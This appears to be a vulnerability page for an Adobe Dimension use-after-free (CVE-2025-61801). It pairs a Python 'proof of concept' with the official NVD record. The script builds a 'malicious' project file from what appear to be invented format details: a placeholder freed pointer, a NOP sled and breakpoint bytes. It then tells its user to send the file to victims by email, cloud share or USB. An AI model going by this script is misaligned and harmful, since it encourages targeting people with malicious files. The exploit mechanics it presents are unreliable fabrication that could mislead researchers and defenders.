CVE-2025-61801

# CVE-2025-61801 - Adobe Dimension Use After Free PoC # This is a conceptual PoC demonstrating the vulnerability trigger mechanism. # Actual exploitation requires crafting a malicious .dn project file. import struct import os def create_malicious_dimension_file(filename="malicious.dn"): """ Create a malicious Adobe Dimension project file that triggers the Use After Free vulnerability (CVE-2025-61801). The file exploits improper memory management when Dimension parses certain object references within the project file. """ # Dimension project file header (simplified) header = b'DNPR' # Magic bytes for Dimension Project version = struct.pack('<I', 0x00010004) # Version 1.4 # Crafted object table with dangling reference # The object at index 0x02 is marked for deallocation # but a reference to it remains in the scene graph object_table = b'\x00' * 16 object_table += struct.pack('<I', 0xDEADBEEF) # Freed object pointer object_table += b'\x00' * 48 # Malicious payload - shellcode or command injection point # In real exploit, this would contain heap spray + shellcode payload = b'\x90' * 256 # NOP sled placeholder payload += b'\xCC' * 64 # INT3 breakpoints for debugging # Scene graph referencing the freed object scene_ref = struct.pack('<II', 0x02, 0xDEADBEEF) # Reference to freed object # Assemble the malicious file malicious_data = header + version + object_table + scene_ref + payload with open(filename, 'wb') as f: f.write(malicious_data) print(f"[*] Malicious file created: {filename}") print(f"[*] File size: {len(malicious_data)} bytes") print(f"[!] Send this file to a victim with Adobe Dimension < 4.1.4") print(f"[!] When victim opens the file, UAF is triggered -> code execution") if __name__ == "__main__": create_malicious_dimension_file() print("\n[*] Usage: Distribute the .dn file via email, cloud share, or USB") print("[*] Victim must open the file in Adobe Dimension for exploitation")

{"cve": {"id": "CVE-2025-61801", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:52.577", "lastModified": "2025-10-16T17:38:54.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dimension versions 4.1.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dimension:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.5", "matchCriteriaId": "03D05CE7-FF6A-4914-850B-10D66BB93E29"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dimension/apsb25-103.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}